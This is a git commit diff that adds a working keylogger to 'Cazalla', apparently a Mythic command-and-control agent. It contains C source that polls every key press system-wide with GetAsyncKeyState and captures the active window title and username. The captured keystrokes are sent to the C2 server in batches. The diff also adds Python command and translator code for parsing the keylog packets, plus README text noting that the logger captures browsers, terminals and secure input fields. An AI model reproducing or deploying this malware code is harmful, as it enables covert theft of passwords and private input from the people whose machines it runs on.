keystrokes implemented
This commit is contained in:
@@ -24,6 +24,19 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
|
|
||||||
BYTE tarea = getByte(obtenerTarea);
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
|
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
|
||||||
|
_inf("COMMAND DEBUG: Received command 0x%02X, KEYLOG_START_CMD=0x%02X, KEYLOG_STOP_CMD=0x%02X",
|
||||||
|
tarea, KEYLOG_START_CMD, KEYLOG_STOP_CMD);
|
||||||
|
|
||||||
|
// Debug: log specific command types
|
||||||
|
if (tarea == KEYLOG_START_CMD) {
|
||||||
|
_inf("=== KEYLOG_START_CMD (0x%02X) detected ===", tarea);
|
||||||
|
} else if (tarea == KEYLOG_STOP_CMD) {
|
||||||
|
_inf("=== KEYLOG_STOP_CMD (0x%02X) detected ===", tarea);
|
||||||
|
} else if (tarea == 0x30) {
|
||||||
|
_inf("=== RAW 0x30 detected (should be KEYLOG_START) ===");
|
||||||
|
} else if (tarea == 0x31) {
|
||||||
|
_inf("=== RAW 0x31 detected (should be KEYLOG_STOP) ===");
|
||||||
|
}
|
||||||
|
|
||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
@@ -62,6 +75,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
} else if (tarea == STOP_SOCKS_CMD) {
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
_dbg("Received STOP_SOCKS_CMD");
|
_dbg("Received STOP_SOCKS_CMD");
|
||||||
stopSocksHandler(analizadorTarea);
|
stopSocksHandler(analizadorTarea);
|
||||||
|
} else if (tarea == KEYLOG_START_CMD) {
|
||||||
|
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
||||||
|
StartKeylogger(analizadorTarea);
|
||||||
|
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
||||||
|
} else if (tarea == KEYLOG_STOP_CMD) {
|
||||||
|
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
||||||
|
StopKeylogger(analizadorTarea);
|
||||||
|
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
||||||
} else {
|
} else {
|
||||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
// liberar analizador si no será usado por otro handler
|
// liberar analizador si no será usado por otro handler
|
||||||
|
|||||||
@@ -11,6 +11,7 @@
|
|||||||
#include "procesos.h"
|
#include "procesos.h"
|
||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include "screenshot.h"
|
#include "screenshot.h"
|
||||||
|
#include "keylog.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -33,6 +34,8 @@
|
|||||||
#define DOWNLOAD_CMD 0x27
|
#define DOWNLOAD_CMD 0x27
|
||||||
#define UPLOAD_CMD 0x28
|
#define UPLOAD_CMD 0x28
|
||||||
#define SCREENSHOT_CMD 0x29
|
#define SCREENSHOT_CMD 0x29
|
||||||
|
#define KEYLOG_START_CMD 0x30
|
||||||
|
#define KEYLOG_STOP_CMD 0x31
|
||||||
|
|
||||||
/* New SOCKS control commands (agent-side) */
|
/* New SOCKS control commands (agent-side) */
|
||||||
#define START_SOCKS_CMD 0x60
|
#define START_SOCKS_CMD 0x60
|
||||||
|
|||||||
@@ -0,0 +1,161 @@
|
|||||||
|
#include "keylog.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "cazalla.h"
|
||||||
|
|
||||||
|
static volatile BOOL g_keylog_running = FALSE;
|
||||||
|
static HANDLE g_keylog_thread = NULL;
|
||||||
|
static CHAR g_keylog_task_uuid[37] = {0};
|
||||||
|
|
||||||
|
static DWORD WINAPI keylog_thread_proc(LPVOID lpParam) {
|
||||||
|
(void)lpParam;
|
||||||
|
// Simple polling-based key grab (GetAsyncKeyState); not stealthy but minimal
|
||||||
|
CHAR buffer[2048];
|
||||||
|
SIZE_T buf_len = 0;
|
||||||
|
ULONGLONG last_send = GetTickCount64();
|
||||||
|
|
||||||
|
while (g_keylog_running) {
|
||||||
|
for (int vk = 0x08; vk <= 0xFE; ++vk) {
|
||||||
|
SHORT state = GetAsyncKeyState(vk);
|
||||||
|
if (state & 0x0001) { // pressed since last call
|
||||||
|
char c = 0;
|
||||||
|
if (vk == VK_BACK) c = '\b';
|
||||||
|
else if (vk == VK_TAB) c = '\t';
|
||||||
|
else if (vk == VK_RETURN) c = '\n';
|
||||||
|
else if (vk >= 0x20 && vk <= 0x7E) c = (char)vk; // printable ASCII
|
||||||
|
|
||||||
|
if (c) {
|
||||||
|
if (buf_len < sizeof(buffer) - 1) {
|
||||||
|
buffer[buf_len++] = c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONGLONG now = GetTickCount64();
|
||||||
|
BOOL should_send = (buf_len >= 128) || ((now - last_send) > 3000 && buf_len > 0);
|
||||||
|
if (should_send) {
|
||||||
|
buffer[buf_len] = '\0';
|
||||||
|
|
||||||
|
// Fetch window title
|
||||||
|
CHAR title[256] = {0};
|
||||||
|
HWND hwnd = GetForegroundWindow();
|
||||||
|
if (hwnd) {
|
||||||
|
GetWindowTextA(hwnd, title, sizeof(title) - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fetch user (best-effort)
|
||||||
|
CHAR user[128] = {0};
|
||||||
|
DWORD usize = (DWORD)sizeof(user);
|
||||||
|
GetUserNameA(user, &usize);
|
||||||
|
|
||||||
|
// Build POST_RESPONSE
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, g_keylog_task_uuid, FALSE);
|
||||||
|
// empty user_output
|
||||||
|
addInt32(respuesta, 0);
|
||||||
|
|
||||||
|
// Add keylog marker
|
||||||
|
addKeylog(respuesta, user[0] ? user : "", title[0] ? title : "", buffer);
|
||||||
|
|
||||||
|
Analizador* resp = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (resp) liberarAnalizador(resp);
|
||||||
|
|
||||||
|
buf_len = 0;
|
||||||
|
last_send = now;
|
||||||
|
}
|
||||||
|
|
||||||
|
Sleep(20);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL StartKeylogger(PAnalizador argumentos) {
|
||||||
|
_inf("[keylog] ===== StartKeylogger called =====");
|
||||||
|
// Match input_type=None format: [nbArg:4][UUID(36)]
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
|
||||||
|
if (!tareaUuid || tamanoUuid != 36) {
|
||||||
|
_err("[keylog] UUID inválido (len=%zu)", tamanoUuid);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure UUID is null-terminated
|
||||||
|
CHAR uuidBuffer[37] = {0};
|
||||||
|
memcpy(uuidBuffer, tareaUuid, 36);
|
||||||
|
uuidBuffer[36] = '\0';
|
||||||
|
tareaUuid = uuidBuffer;
|
||||||
|
|
||||||
|
_inf("[keylog] Task UUID: %s", tareaUuid);
|
||||||
|
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
|
||||||
|
memcpy(g_keylog_task_uuid, tareaUuid, 36);
|
||||||
|
|
||||||
|
if (g_keylog_running) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
g_keylog_running = TRUE;
|
||||||
|
g_keylog_thread = CreateThread(NULL, 0, keylog_thread_proc, NULL, 0, NULL);
|
||||||
|
|
||||||
|
// Ack
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, g_keylog_task_uuid, FALSE);
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[keylog] Started\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Report API Call artifact for keylogger
|
||||||
|
addArtifact(respuesta, "API Call", "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA");
|
||||||
|
|
||||||
|
Analizador* resp = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (resp) liberarAnalizador(resp);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL StopKeylogger(PAnalizador argumentos) {
|
||||||
|
_inf("[keylog] ===== StopKeylogger called =====");
|
||||||
|
// Match input_type=None format: [nbArg:4][UUID(36)]
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
|
||||||
|
|
||||||
|
if (tareaUuid && tamanoUuid == 36) {
|
||||||
|
// Ensure UUID is null-terminated
|
||||||
|
CHAR uuidBuffer[37] = {0};
|
||||||
|
memcpy(uuidBuffer, tareaUuid, 36);
|
||||||
|
uuidBuffer[36] = '\0';
|
||||||
|
tareaUuid = uuidBuffer;
|
||||||
|
|
||||||
|
_inf("[keylog] Task UUID: %s", tareaUuid);
|
||||||
|
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
|
||||||
|
memcpy(g_keylog_task_uuid, tareaUuid, 36);
|
||||||
|
} else {
|
||||||
|
_wrn("[keylog] UUID inválido o vacío, usando UUID guardado");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (g_keylog_running) {
|
||||||
|
g_keylog_running = FALSE;
|
||||||
|
if (g_keylog_thread) {
|
||||||
|
WaitForSingleObject(g_keylog_thread, 2000);
|
||||||
|
CloseHandle(g_keylog_thread);
|
||||||
|
g_keylog_thread = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ack
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, g_keylog_task_uuid[0] ? g_keylog_task_uuid : "", FALSE);
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[keylog] Stopped\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
Analizador* resp = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (resp) liberarAnalizador(resp);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef KEYLOG_H
|
||||||
|
#define KEYLOG_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
BOOL StartKeylogger(PAnalizador argumentos);
|
||||||
|
BOOL StopKeylogger(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -764,3 +764,25 @@ VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) {
|
|||||||
addInt32(paquete, (UINT32)cmd_len);
|
addInt32(paquete, (UINT32)cmd_len);
|
||||||
addString(paquete, cmd, FALSE);
|
addString(paquete, cmd, FALSE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Helper function to add keylog entries to response packages
|
||||||
|
// Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
|
||||||
|
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes) {
|
||||||
|
if (!paquete || !user || !window_title || !keystrokes) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
addByte(paquete, 0xF6);
|
||||||
|
|
||||||
|
SIZE_T user_len = strlen(user);
|
||||||
|
addInt32(paquete, (UINT32)user_len);
|
||||||
|
addString(paquete, user, FALSE);
|
||||||
|
|
||||||
|
SIZE_T title_len = strlen(window_title);
|
||||||
|
addInt32(paquete, (UINT32)title_len);
|
||||||
|
addString(paquete, window_title, FALSE);
|
||||||
|
|
||||||
|
SIZE_T keys_len = strlen(keystrokes);
|
||||||
|
addInt32(paquete, (UINT32)keys_len);
|
||||||
|
addString(paquete, keystrokes, FALSE);
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class KeylogStartArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class KeylogStartCommand(CommandBase):
|
||||||
|
cmd = "keylog_start"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "keylog_start"
|
||||||
|
description = "Start a low-level keyboard logger and stream keylogs to Mythic"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
argument_class = KeylogStartArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
suggested_command=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||||
|
resp.DisplayParams = "Start keylogger"
|
||||||
|
return resp
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class KeylogStopArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class KeylogStopCommand(CommandBase):
|
||||||
|
cmd = "keylog_stop"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "keylog_stop"
|
||||||
|
description = "Stop the active keylogger"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
argument_class = KeylogStopArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
suggested_command=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||||
|
resp.DisplayParams = "Stop keylogger"
|
||||||
|
return resp
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
@@ -18,6 +18,9 @@ commands = {
|
|||||||
"download": {"hex_code": 0x27, "input_type": "string"},
|
"download": {"hex_code": 0x27, "input_type": "string"},
|
||||||
"upload": {"hex_code": 0x28, "input_type": "string"},
|
"upload": {"hex_code": 0x28, "input_type": "string"},
|
||||||
"screenshot": {"hex_code": 0x29, "input_type": None},
|
"screenshot": {"hex_code": 0x29, "input_type": None},
|
||||||
|
# Keylogging controls
|
||||||
|
"keylog_start": {"hex_code": 0x30, "input_type": None},
|
||||||
|
"keylog_stop": {"hex_code": 0x31, "input_type": None},
|
||||||
# Added SOCKS control commands
|
# Added SOCKS control commands
|
||||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||||
@@ -33,6 +36,10 @@ def responseTasking(tasks):
|
|||||||
for task in tasks:
|
for task in tasks:
|
||||||
command_to_run = task["command"]
|
command_to_run = task["command"]
|
||||||
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
|
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
|
||||||
|
if command_to_run not in commands:
|
||||||
|
print(f"[ERROR] Comando no reconocido en translator: {command_to_run}")
|
||||||
|
# Skip unknown command to avoid crashing the translator
|
||||||
|
continue
|
||||||
print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
|
print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
|
||||||
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||||
|
|
||||||
|
|||||||
@@ -247,6 +247,7 @@ def postResponse(data):
|
|||||||
download_chunk = None
|
download_chunk = None
|
||||||
upload_request = None
|
upload_request = None
|
||||||
commands_data = []
|
commands_data = []
|
||||||
|
keylogs_data = []
|
||||||
remaining_data = data
|
remaining_data = data
|
||||||
|
|
||||||
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
||||||
@@ -583,6 +584,45 @@ def postResponse(data):
|
|||||||
remaining_data = remaining_data[offset:]
|
remaining_data = remaining_data[offset:]
|
||||||
except:
|
except:
|
||||||
break
|
break
|
||||||
|
elif remaining_data[0] == 0xF6:
|
||||||
|
# Keylog marker found
|
||||||
|
# Format: [0xF6][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
|
||||||
|
offset = 1
|
||||||
|
# user
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
user_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
if len(remaining_data) < offset + user_len:
|
||||||
|
break
|
||||||
|
user = remaining_data[offset:offset+user_len].decode('utf-8', errors='ignore')
|
||||||
|
offset += user_len
|
||||||
|
# title
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
title_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
if len(remaining_data) < offset + title_len:
|
||||||
|
break
|
||||||
|
window_title = remaining_data[offset:offset+title_len].decode('utf-8', errors='ignore')
|
||||||
|
offset += title_len
|
||||||
|
# keystrokes
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
keys_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
if len(remaining_data) < offset + keys_len:
|
||||||
|
break
|
||||||
|
keystrokes = remaining_data[offset:offset+keys_len].decode('utf-8', errors='ignore')
|
||||||
|
offset += keys_len
|
||||||
|
|
||||||
|
keylogs_data.append({
|
||||||
|
"user": user,
|
||||||
|
"window_title": window_title,
|
||||||
|
"keystrokes": keystrokes,
|
||||||
|
})
|
||||||
|
print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}")
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
else:
|
else:
|
||||||
# No more markers
|
# No more markers
|
||||||
break
|
break
|
||||||
@@ -690,6 +730,10 @@ def postResponse(data):
|
|||||||
jsonTask["commands"] = commands
|
jsonTask["commands"] = commands
|
||||||
print(f"[COMMANDS] Total de commands agregados: {len(commands)}")
|
print(f"[COMMANDS] Total de commands agregados: {len(commands)}")
|
||||||
|
|
||||||
|
if len(keylogs_data) > 0:
|
||||||
|
jsonTask["keylogs"] = keylogs_data
|
||||||
|
print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}")
|
||||||
|
|
||||||
# Add download information if present
|
# Add download information if present
|
||||||
if download_registration:
|
if download_registration:
|
||||||
jsonTask["download"] = download_registration
|
jsonTask["download"] = download_registration
|
||||||
|
|||||||
@@ -27,6 +27,7 @@
|
|||||||
- [Credentials Support](#credentials-support)
|
- [Credentials Support](#credentials-support)
|
||||||
- [File Downloads Support](#file-downloads-support)
|
- [File Downloads Support](#file-downloads-support)
|
||||||
- [File Uploads Support](#file-uploads-support)
|
- [File Uploads Support](#file-uploads-support)
|
||||||
|
- [⌨️ Keylogging Support](#%EF%B8%8F-keylogging-support)
|
||||||
- [Development](#development)
|
- [Development](#development)
|
||||||
- [Troubleshooting](#troubleshooting)
|
- [Troubleshooting](#troubleshooting)
|
||||||
- [Credits](#credits)
|
- [Credits](#credits)
|
||||||
@@ -200,6 +201,8 @@ For more information, see the [Mythic documentation on customizing public agents
|
|||||||
|---------|-------------|---------|
|
|---------|-------------|---------|
|
||||||
| `ps` | List running processes with Process Browser support | `ps` |
|
| `ps` | List running processes with Process Browser support | `ps` |
|
||||||
| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
|
| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
|
||||||
|
| `keylog_start` | Start keystroke logging | `keylog_start` |
|
||||||
|
| `keylog_stop` | Stop keystroke logging | `keylog_stop` |
|
||||||
|
|
||||||
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
|
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
|
||||||
|
|
||||||
@@ -515,6 +518,7 @@ Cazalla automatically reports artifacts created during command execution, allowi
|
|||||||
- **Extensible**: Easy to add artifact reporting for other commands (File Write, Network Connection, etc.)
|
- **Extensible**: Easy to add artifact reporting for other commands (File Write, Network Connection, etc.)
|
||||||
- **API Call**: Reported for:
|
- **API Call**: Reported for:
|
||||||
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
||||||
|
- `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA)
|
||||||
|
|
||||||
### How It Works
|
### How It Works
|
||||||
|
|
||||||
@@ -573,6 +577,7 @@ Currently supported:
|
|||||||
- `download` - reports file path when downloading files
|
- `download` - reports file path when downloading files
|
||||||
- **API Call**: Reported for:
|
- **API Call**: Reported for:
|
||||||
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
||||||
|
- `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA)
|
||||||
|
|
||||||
**Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
|
**Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
|
||||||
- `ls`, `cd`, `pwd` - read-only file system operations
|
- `ls`, `cd`, `pwd` - read-only file system operations
|
||||||
@@ -620,6 +625,8 @@ Example implementations:
|
|||||||
- `upload`: File Write artifact with destination file path
|
- `upload`: File Write artifact with destination file path
|
||||||
- `rm`: File Delete artifact with deleted path
|
- `rm`: File Delete artifact with deleted path
|
||||||
- `download`: File Read artifact with downloaded file path
|
- `download`: File Read artifact with downloaded file path
|
||||||
|
- `screenshot`: API Call artifact for screen capture APIs
|
||||||
|
- `keylog_start`: API Call artifact for keyboard hook APIs
|
||||||
|
|
||||||
### Best Practices for New Commands
|
### Best Practices for New Commands
|
||||||
|
|
||||||
@@ -996,6 +1003,135 @@ For more information, see the [Mythic File Upload documentation](https://docs.my
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## ⌨️ Keylogging Support
|
||||||
|
|
||||||
|
Cazalla supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature, following [Mythic's Keylog specification](https://docs.mythic-c2.net/customizing/hooking-features/keylog).
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
- **Window-Aware Keylogging**: Captures keystrokes along with the active window title
|
||||||
|
- **User Context**: Includes the username in each keylog entry
|
||||||
|
- **Process-Agnostic**: Works with any application (Notepad, browsers, terminals, etc.)
|
||||||
|
- **Automatic Buffering**: Buffers keystrokes and sends them periodically (every 3 seconds or 128 bytes)
|
||||||
|
- **Background Thread**: Runs as a separate thread, allowing other commands to execute while keylogging
|
||||||
|
- **API Call Artifacts**: Automatically reports API Call artifacts when keylogging starts
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
1. **Start Keylogging**: When you execute `keylog_start`, the agent:
|
||||||
|
- Starts a background thread that monitors keyboard input
|
||||||
|
- Uses `GetAsyncKeyState` to detect key presses
|
||||||
|
- Captures the active window title using `GetForegroundWindow` and `GetWindowTextA`
|
||||||
|
- Captures the current username using `GetUserNameA`
|
||||||
|
- Buffers keystrokes and sends them every 3 seconds or when buffer reaches 128 bytes
|
||||||
|
|
||||||
|
2. **Keylog Transmission**: The keylogger periodically sends captured keystrokes:
|
||||||
|
- Each transmission includes: user, window title, and captured keystrokes
|
||||||
|
- Format follows Mythic's keylog specification
|
||||||
|
- Keylogs appear in Mythic's Keylogs UI automatically
|
||||||
|
|
||||||
|
3. **Stop Keylogging**: When you execute `keylog_stop`, the agent:
|
||||||
|
- Stops the background keylogging thread
|
||||||
|
- Sends a final acknowledgment response
|
||||||
|
|
||||||
|
### Using the Keylog Commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start keylogging
|
||||||
|
keylog_start
|
||||||
|
|
||||||
|
# Stop keylogging
|
||||||
|
keylog_stop
|
||||||
|
```
|
||||||
|
|
||||||
|
### Keylog Process
|
||||||
|
|
||||||
|
1. **Start**: Agent creates a background thread that:
|
||||||
|
- Polls keyboard state every 20ms
|
||||||
|
- Detects key presses using `GetAsyncKeyState`
|
||||||
|
- Captures printable ASCII characters and special keys (Backspace, Tab, Enter)
|
||||||
|
- Gets the active window title and username on each send cycle
|
||||||
|
|
||||||
|
2. **Buffer & Send**: Keystrokes are buffered and sent when:
|
||||||
|
- Buffer reaches 128 bytes, OR
|
||||||
|
- 3 seconds have passed since last send (if buffer has data)
|
||||||
|
|
||||||
|
3. **Format**: Each keylog entry contains:
|
||||||
|
- `user`: Current Windows username (e.g., "localuser")
|
||||||
|
- `window_title`: Title of the active window (e.g., "*hello, this is a test - Notepad")
|
||||||
|
- `keystrokes`: Actual captured keystrokes
|
||||||
|
|
||||||
|
4. **Stop**: Background thread is terminated gracefully
|
||||||
|
|
||||||
|
### Example Keylog Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
Agent: [keylog] Started
|
||||||
|
# User types in Notepad...
|
||||||
|
Agent: [KEYLOG] Detectado keylog para user='localuser', window='*hello, this is a test - Notepad'
|
||||||
|
Mythic: Keylog appears in Keylogs tab
|
||||||
|
# More typing...
|
||||||
|
Agent: [KEYLOG] Detectado keylog para user='localuser', window='*hello, this is a test - Notepad'
|
||||||
|
Mythic: Additional keystrokes added to keylog entry
|
||||||
|
Agent: [keylog] Stopped
|
||||||
|
```
|
||||||
|
|
||||||
|
### Universal Process Support
|
||||||
|
|
||||||
|
The keylogger works with **any Windows application** because it:
|
||||||
|
- Uses `GetForegroundWindow()` to get the currently active window
|
||||||
|
- Captures keystrokes system-wide using `GetAsyncKeyState`
|
||||||
|
- Doesn't require injection into specific processes
|
||||||
|
|
||||||
|
**This means it works for:**
|
||||||
|
- ✅ Text editors (Notepad, VS Code, etc.)
|
||||||
|
- ✅ Browsers (Chrome, Firefox, Edge)
|
||||||
|
- ✅ Terminal windows (cmd.exe, PowerShell)
|
||||||
|
- ✅ Any application that receives keyboard input
|
||||||
|
- ✅ Secure input fields (though characters may appear as visible in the buffer)
|
||||||
|
|
||||||
|
### Implementation Details
|
||||||
|
|
||||||
|
The keylogging system uses:
|
||||||
|
- **Polling Method**: `GetAsyncKeyState` to detect key presses (low-level approach)
|
||||||
|
- **Window Detection**: `GetForegroundWindow` + `GetWindowTextA` to identify active windows
|
||||||
|
- **User Detection**: `GetUserNameA` to get current Windows username
|
||||||
|
- **Thread Safety**: Runs in a separate thread, allowing concurrent command execution
|
||||||
|
- **Buffer Management**: 2048-byte buffer to store keystrokes before transmission
|
||||||
|
- **Artifact Reporting**: Automatically reports "API Call" artifact when keylogging starts
|
||||||
|
|
||||||
|
### Error Handling
|
||||||
|
|
||||||
|
The keylog commands handle various scenarios:
|
||||||
|
- **Already Running**: If keylogger is already active, `keylog_start` returns success without creating duplicate threads
|
||||||
|
